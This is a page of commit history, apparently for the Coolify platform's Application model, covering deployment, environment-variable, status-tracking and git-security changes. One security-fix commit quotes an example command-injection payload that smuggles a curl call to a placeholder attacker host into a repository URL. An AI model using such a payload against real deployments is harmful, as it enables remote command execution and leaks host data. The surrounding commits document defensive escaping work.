Commit graph

321 commits

Author SHA1 Message Date
peaklabs-dev
b44b7ac49e
fix: switch custom labels check to UTF-8
- this allows more characters then ASCII
2026-01-13 17:12:16 +01:00
peaklabs-dev
3af456cd35
chore: remove raw sql from env relationship
- raw sql should not be used whenever possible
- using sql to order on the relationship environment_variables() causes custom sorting to break or be additionally complicated
2026-01-06 16:18:37 +01:00
Andras Bacsai
a8aa452475 fix: prevent metric charts from freezing when navigating with wire:navigate
Wraps inline chart initialization scripts in IIFEs to create local scope for variables. This prevents "Identifier has already been declared" errors when Livewire's SPA navigation re-executes scripts, allowing smooth navigation between metrics pages without page refresh.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Haiku 4.5 <noreply@anthropic.com>
2026-01-02 12:36:17 +01:00
Andras Bacsai
770ce2d327 Refactor application general settings view for improved readability and maintainability
- Adjusted indentation and formatting for better code clarity.
- Simplified conditional statements and removed unnecessary null checks.
- Enhanced user interface elements for Docker Compose and Dockerfile configurations.
- Improved handling of deployment commands and network settings.
- Updated helper texts for better user guidance.
2025-12-31 11:44:08 +01:00
Andras Bacsai
5e8d11f732 refactor: replace queries with cached versions for performance improvements 2025-12-08 13:39:33 +01:00
Andras Bacsai
439afca642 Inject commit-based image tags for Docker Compose build services
For Docker Compose applications with build directives, inject commit-based
image tags (uuid_servicename:commit) to enable rollback functionality.
Previously these services always used 'latest' tags, making rollback impossible.

- Only injects tags for services with build: but no explicit image:
- Uses pr-{id} tags for pull request deployments
- Respects user-defined image: fields (preserves user intent)

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-12-05 11:41:47 +01:00
Andras Bacsai
dae6803173 fix: restore original base_directory on compose validation failure
The Application::loadComposeFile method's finally block always saves
the model, which was persisting invalid base_directory values when
validation failed.

Changes:
- Add restoreBaseDirectory and restoreDockerComposeLocation parameters
  to loadComposeFile() in both Application model and General component
- The finally block now restores BOTH base_directory and
  docker_compose_location to the provided original values before saving
- When called from submit(), pass the original DB values so they are
  restored on failure instead of the new invalid values

This ensures invalid paths are never persisted to the database.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-12-03 15:57:15 +01:00
Andras Bacsai
9452f0b468 fix: trigger configuration changed detection for build settings
Include 'Inject Build Args to Dockerfile' and 'Include Source Commit in Build' settings in the configuration hash calculation. These settings affect Docker build behavior, so changes to them should trigger the restart required notification. Add unit tests to verify hash changes when these settings are modified.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-11-27 12:22:54 +01:00
Andras Bacsai
ae6eef3cdb feat(tests): add comprehensive tests for ContainerStatusAggregator and serverStatus accessor
- Introduced tests for ContainerStatusAggregator to validate status aggregation logic across various container states.
- Implemented tests to ensure serverStatus accessor correctly checks server infrastructure health without being affected by container status.
- Updated ExcludeFromHealthCheckTest to verify excluded status handling in various components.
- Removed obsolete PushServerUpdateJobStatusAggregationTest as its functionality is covered elsewhere.
- Updated version number for sentinel to 0.0.17 in versions.json.
2025-11-20 17:31:07 +01:00
Andras Bacsai
d2d9c1b2bc debug: add comprehensive status change logging
Added detailed debug logging to all status update paths to help
diagnose why "unhealthy" status appears in the UI.

## Logging Added

### 1. PushServerUpdateJob (Sentinel updates)
**Location**: Lines 303-315
**Logs**: Status changes from Sentinel push updates
**Data tracked**:
- Old vs new status
- Container statuses that led to aggregation
- Status flags (hasRunning, hasUnhealthy, hasUnknown)

### 2. GetContainersStatus (SSH updates)
**Location**: Lines 441-449, 346-354, 358-365
**Logs**: Status changes from SSH-based checks
**Scenarios**:
- Normal status aggregation
- Recently restarted containers (kept as degraded)
- Applications not running (set to exited)
**Data tracked**:
- Old vs new status
- Container statuses
- Restart count and timing
- Whether containers exist

### 3. Application Model Status Accessor
**Location**: Lines 706-712, 726-732
**Logs**: When status is set without explicit health information
**Issue**: Highlights cases where health defaults to "unhealthy"
**Data tracked**:
- Raw value passed to setter
- Final result after default applied

## How to Use

### Enable Debug Logging
Edit `.env` or `config/logging.php` to set log level to debug:
```
LOG_LEVEL=debug
```

### Monitor Logs
```bash
tail -f storage/logs/laravel.log | grep STATUS-DEBUG
```

### Log Format
All logs use `[STATUS-DEBUG]` prefix for easy filtering:
```
[2025-11-19 13:00:00] local.DEBUG: [STATUS-DEBUG] Sentinel status change
{
  "source": "PushServerUpdateJob",
  "app_id": 123,
  "app_name": "my-app",
  "old_status": "running:unknown",
  "new_status": "running:healthy",
  "container_statuses": [...],
  "flags": {...}
}
```

## What to Look For

1. **Default to unhealthy**: Check Application model accessor logs
2. **Status flipping**: Compare timestamps between Sentinel and SSH updates
3. **Incorrect aggregation**: Check flags and container_statuses
4. **Stale database values**: Check if old_status persists across multiple logs

## Next Steps

After gathering logs, we can:
1. Identify the exact source of "unhealthy" status
2. Determine if it's a default issue, aggregation bug, or timing problem
3. Apply targeted fix based on evidence

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-11-19 13:52:08 +01:00
Andras Bacsai
171732dbcf refactor: simplify environment variable deletion logic in booted method 2025-11-18 10:07:08 +01:00
Andras Bacsai
36f8a58c28 refactor: move buildpack cleanup logic to model lifecycle hooks
Move buildpack switching cleanup from Livewire component to Application model's boot lifecycle. This improves separation of concerns and ensures cleanup happens consistently regardless of how the buildpack change is triggered. Also clears Dockerfile-specific data when switching away from dockerfile buildpack.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-11-18 09:46:04 +01:00
Andras Bacsai
e63a270fea
Enhance container status tracking and improve user notifications (#7182) 2025-11-10 13:58:22 +01:00
Andras Bacsai
99e97900a5 feat: add automated PORT environment variable detection and UI warnings
Add detection system for PORT environment variable to help users configure applications correctly:

- Add detectPortFromEnvironment() method to Application model to detect PORT env var
- Add getDetectedPortInfoProperty() computed property in General Livewire component
- Display contextual info banners in UI when PORT is detected:
  - Warning when PORT exists but ports_exposes is empty
  - Warning when PORT doesn't match ports_exposes configuration
  - Info message when PORT matches ports_exposes
- Add deployment logging to warn about PORT/ports_exposes mismatches
- Include comprehensive unit tests for port detection logic

The ports_exposes field remains authoritative for proxy configuration, while
PORT detection provides helpful suggestions to users.
2025-11-10 13:43:27 +01:00
Andras Bacsai
68a9f2ca77 feat: add container restart tracking and crash loop detection
Track container restart counts from Docker and detect crash loops to provide better visibility into application health issues.

- Add restart_count, last_restart_at, and last_restart_type columns to applications table
- Detect restart count increases from Docker inspect data and send notifications
- Show restart count badge in UI with warning icon on Logs navigation
- Distinguish between crash restarts and manual restarts
- Implement 30-second grace period to prevent false "exited" status during crash loops
- Reset restart count on manual stop, restart, and redeploy actions
- Add unit tests for restart count tracking logic

This helps users quickly identify when containers are in crash loops and need attention, even when the container status flickers between states during Docker's restart backoff period.
2025-11-10 13:04:31 +01:00
Andras Bacsai
237246acee fix: Remove duplicate custom_labels from config hash calculation
The `custom_labels` attribute was being concatenated twice into the configuration hash calculation within the `isConfigurationChanged` method. This commit removes the redundant inclusion to ensure accurate configuration change detection.
2025-11-01 13:28:56 +01:00
Andras Bacsai
9a664865ee refactor: Improve handling of custom network aliases
The custom_network_aliases attribute in the Application model was being cast to an array directly. This commit refactors the attribute to provide both a string representation (for compatibility with older configurations and hashing) and an array representation for internal use. This ensures that network aliases are correctly parsed and utilized, preventing potential issues during deployment and configuration updates.
2025-11-01 13:13:14 +01:00
Andras Bacsai
466772f61a Changes auto-committed by Conductor 2025-10-22 12:41:17 +02:00
Andras Bacsai
51bada1871 Changes auto-committed by Conductor 2025-10-22 08:29:16 +02:00
Andras Bacsai
1e360aa156 fix: correct variable name typo in generateGitLsRemoteCommands method 2025-10-16 09:51:37 +02:00
Andras Bacsai
8f8c90b7ae fix: prevent command injection in git ls-remote operations
**Security Fix: Command Injection Vulnerability**

This commit addresses a critical command injection vulnerability in the
`generateGitLsRemoteCommands` method that could allow low-privileged users
(team members) to execute arbitrary commands as root on the Coolify instance.

**Vulnerability Details:**
- Affected deployment types: `deploy_key` and `source` (GithubApp)
- Attack vector: Malicious git repository URLs containing shell metacharacters
- Impact: Remote code execution as root
- Example payload: `repo.git';curl attacker.com/$(whoami)`

**Changes Made:**

1. **deploy_key deployment type** (Application.php:1111-1112):
   - Added proper escaping for `$customRepository` in git ls-remote commands
   - Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context
   - Wraps repository URL in single quotes to prevent interpretation of shell metacharacters

2. **source deployment type with GithubApp** (Application.php:1067-1086):
   - Added `escapeshellarg()` for all repository URL variations
   - Covers both public and private repositories
   - Handles both Docker and non-Docker execution contexts

3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php):
   - Tests for deploy_key type command injection prevention
   - Tests for source type with public repos
   - Tests for other type (already fixed in previous commit)
   - Validates that malicious payloads are properly escaped

**Note:** The `other` deployment type was already fixed in commit b81baff4b.
This commit completes the security fix for all deployment types.

**Technical Details:**
The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`.
When commands are executed inside `bash -c` with single quotes, we must escape
single quotes as `'\''` to prevent the quotes from closing prematurely and
allowing shell injection.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 14:53:50 +02:00
Andras Bacsai
b81baff4b1 fix: improve logging and add shell escaping for git ls-remote
Two improvements to Git deployment handling:

1. **ApplicationDeploymentJob.php**:
   - Fixed log message to show actual resolved commit SHA (`$this->commit`)
   - Previously showed `$this->application->git_commit_sha` which could be "HEAD"
   - Now displays the actual 40-character commit SHA that will be deployed

2. **Application.php (generateGitLsRemoteCommands)**:
   - Added `escapeshellarg()` for repository URL in 'other' deployment type
   - Prevents shell injection in git ls-remote commands
   - Complements existing shell escaping in `generateGitImportCommands`
   - Ensures consistent security across all Git operations

**Security Impact:**
- All Git commands now use properly escaped repository URLs
- Prevents command injection through malicious repository URLs
- Consistent escaping in both ls-remote and clone operations

**User Experience:**
- Deployment logs now show exact commit SHA being deployed
- More accurate debugging information for deployment issues

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 20:44:35 +02:00
Andras Bacsai
f254af0459 security: escape all shell directory paths in Git deployment commands
Ensures all `cd` commands in Git deployment operations use properly escaped
directory paths via `escapeshellarg()` to prevent shell injection vulnerabilities
and handle special characters correctly.

**Changes:**

1. `setGitImportSettings()` method:
   - Added `$escapedBaseDir` variable for consistent path escaping
   - Replaced all 5 instances of `cd {$baseDir}` with `cd {$escapedBaseDir}`
   - Affects: commit checkout, submodules, and LFS operations

2. `generateGitImportCommands()` method (deploy_key type):
   - Replaced 3 instances in pull request handling for GitLab, GitHub/Gitea, Bitbucket

3. `generateGitImportCommands()` method (other type):
   - Replaced 3 instances in pull request handling for GitLab, GitHub/Gitea, Bitbucket

**Security Impact:**
- Prevents shell injection from malicious directory paths
- Fixes parsing issues with special characters (@, ~, spaces)
- Consistent escaping across all deployment types: source, deploy_key, other
- Complements existing URL escaping for comprehensive security

**Testing:**
- All existing unit tests pass (5/5 Git ls-remote parsing tests)
- Code formatted with Laravel Pint

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 17:23:28 +02:00
Andras Bacsai
bf00405971 fix(git): handle Git redirects and improve URL parsing for tangled.sh and other Git hosts
Fixes deployment failures when Git repositories redirect (e.g., tangled.sh → tangled.org)
and improves security by adding proper shell escaping for repository URLs.

**Root Cause:**
Git redirect warnings can appear on the same line as ls-remote output with no newline:
`warning: redirecting to https://tangled.org/...196d3df...	refs/heads/master`

The previous parsing logic split by newlines and extracted text before tabs, which
included the entire warning message instead of just the 40-character commit SHA.

**Changes:**

1. **Fixed commit SHA extraction** (ApplicationDeploymentJob.php):
   - Changed from line-based parsing to regex pattern matching
   - Uses `/([0-9a-f]{40})\s*\t/` to find valid 40-char hex commit SHA before tab
   - Handles warnings on same line, separate lines, multiple warnings, and whitespace
   - Added comprehensive Ray debug logs for troubleshooting

2. **Added security fix** (Application.php):
   - Added `escapeshellarg()` for repository URLs in 'other' deployment type
   - Prevents shell injection and fixes parsing issues with special characters like `@`
   - Added Ray debug logs for deployment type tracking

3. **Comprehensive test coverage** (GitLsRemoteParsingTest.php):
   - Tests normal output without warnings
   - Tests redirect warning on separate line
   - Tests redirect warning on same line (actual tangled.sh format)
   - Tests multiple warning lines
   - Tests extra whitespace handling

**Resolves:**
- Linear issue COOLGH-53: Valid git URLs are rejected as being invalid
- GitHub issue #6568: tangled.sh deployments failing
- Handles Git redirects universally for all Git hosting services

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 11:55:17 +02:00
Andras Bacsai
17505aa03b feat(application): add default NIXPACKS_NODE_VERSION environment variable for Nixpacks applications
- Introduced logic to automatically create a default NIXPACKS_NODE_VERSION environment variable when an application uses the 'nixpacks' build pack.
- Ensured the environment variable is configured with appropriate attributes for build-time usage.
2025-10-05 16:07:36 +02:00
Andras Bacsai
4b0f65c926 refactor(environment-variables): adjust ordering logic for environment variables
- Updated the ordering logic in the environment_variables methods for both Application and Service models to prioritize required variables over service-prefixed keys.
- This change enhances the clarity and organization of environment variable retrieval, ensuring that essential variables are listed first.
2025-10-03 10:28:29 +02:00
Andras Bacsai
1fe7df7e38 fix(git): trim whitespace from repository, branch, and commit SHA fields
- Add automatic trimming in Application model's boot method for git_repository, git_branch, and git_commit_sha fields
- Add real-time trimming in Source Livewire component via updated{Property} methods
- Refresh component state after save to ensure UI displays trimmed values
- Prevents deployment issues caused by accidental whitespace in git configuration
2025-09-30 12:33:40 +02:00
Andras Bacsai
c98266c09d refactor(application): improve handling of docker compose domains by normalizing keys and ensuring valid JSON structure 2025-09-29 12:14:26 +02:00
Andras Bacsai
a1f865c1fd feat(application): add normalizeWatchPaths method to improve watch path handling 2025-09-26 13:17:21 +02:00
Andras Bacsai
54f6813f29 feat(application): enhance watch path parsing to support negation syntax 2025-09-26 13:05:32 +02:00
Andras Bacsai
8b4aa7f31d chore(application): remove debugging statement from loadComposeFile method 2025-09-26 13:00:12 +02:00
Andras Bacsai
0691a1834a feat(application): implement order-based pattern matching for watch paths with negation support 2025-09-25 14:26:11 +02:00
Andras Bacsai
708a08fdd6 fix(application): enhance domain handling by replacing both dots and dashes with underscores for HTML form binding 2025-09-25 13:19:12 +02:00
Andras Bacsai
d8d316b5f8 feat(search): implement global search functionality with caching and modal interface 2025-09-19 10:17:55 +02:00
Andras Bacsai
f33df13c4e feat(environment): replace is_buildtime_only with is_runtime and is_buildtime flags for environment variables, updating related logic and views 2025-09-18 18:14:54 +02:00
Andras Bacsai
133e72336a Revert "refactor(file-transfer): replace base64 encoding with direct file transfer method in various components for improved clarity and efficiency"
This reverts commit feacedbb04.
2025-09-15 17:56:48 +02:00
Andras Bacsai
7eb0c5a757 fix(application): improve watch paths handling by trimming and filtering empty paths to prevent unnecessary triggers 2025-09-15 13:59:14 +02:00
Andras Bacsai
8e155f25b3 refactor(environment): streamline environment variable handling by replacing sorting methods with direct property access and enhancing query ordering for improved performance 2025-09-12 12:09:03 +02:00
Andras Bacsai
5b3b4bbc43 refactor(environment): remove 'is_build_time' attribute from environment variable handling across the application to simplify configuration 2025-09-11 16:51:56 +02:00
Andras Bacsai
501e6a2650 refactor(environment): standardize service name formatting by replacing '-' and '.' with '_' in environment variable keys 2025-09-11 13:59:02 +02:00
Andras Bacsai
c8f49f29c0 refactor(application): enhance environment variable retrieval in configuration change check for improved accuracy 2025-09-11 12:29:57 +02:00
Andras Bacsai
feacedbb04 refactor(file-transfer): replace base64 encoding with direct file transfer method in various components for improved clarity and efficiency 2025-09-09 11:10:38 +02:00
peaklabs-dev
6c560261f2
refactor(git): improve submodule cloning 2025-08-27 17:13:28 +02:00
broesch
c2ff9eae0d
fix(git): submodule update command uses an unsupported option (#6454) 2025-08-27 16:51:08 +02:00
Andras Bacsai
8408205955 feat(validation): add custom validation rules for Git repository URLs and branches
- Introduced `ValidGitRepositoryUrl` and `ValidGitBranch` validation rules to ensure safe and valid input for Git repository URLs and branch names.
- Updated relevant Livewire components and API controllers to utilize the new validation rules, enhancing security against command injection and invalid inputs.
- Refactored existing validation logic to improve consistency and maintainability across the application.
2025-08-22 14:38:21 +02:00
Andras Bacsai
a6fc39e798 feat(git-settings): add support for shallow cloning in application settings
- Introduced a new boolean setting `is_git_shallow_clone_enabled` to the application settings model.
- Updated the `Advanced` component to include a checkbox for enabling shallow cloning.
- Modified the `setGitImportSettings` and `generateGitImportCommands` methods to handle shallow clone logic.
- Created a migration to add the new setting to the database schema.
- Enhanced the deployment process to utilize shallow cloning for improved performance.
2025-08-21 10:16:57 +02:00
Andras Bacsai
38c0641734 feat(validation): centralize validation patterns for names and descriptions
- Introduced `ValidationPatterns` class to standardize validation rules and messages for name and description fields across the application.
- Updated various components and models to utilize the new validation patterns, ensuring consistent sanitization and validation logic.
- Replaced the `HasSafeNameAttribute` trait with `HasSafeStringAttribute` to enhance attribute handling and maintain consistency in name sanitization.
- Enhanced the `CleanupNames` command to align with the new validation rules, allowing for a broader range of valid characters in names.
2025-08-19 12:14:48 +02:00
Andras Bacsai
e958b3761d feat(cleanup): add command for sanitizing name fields across models
- Introduced `CleanupNames` command to sanitize name fields by removing invalid characters, ensuring only letters, numbers, spaces, dashes, underscores, and dots are retained.
- Implemented options for dry run, model-specific cleaning, database backup, and forced execution.
- Updated `Init` command to call the new `cleanup:names` command.
- Enhanced project and environment validation to enforce name sanitization rules.
- Added `HasSafeNameAttribute` trait to relevant models for consistent name handling.
2025-08-19 11:04:23 +02:00
Andras Bacsai
e8892b3d29 feat(core): finally fqdn is fqdn and url is url. haha 2025-08-12 10:06:19 +02:00
Andras Bacsai
a0bc4dac55 fix(application): streamline environment variable updates for Docker Compose services and enhance FQDN generation logic 2025-08-12 10:06:19 +02:00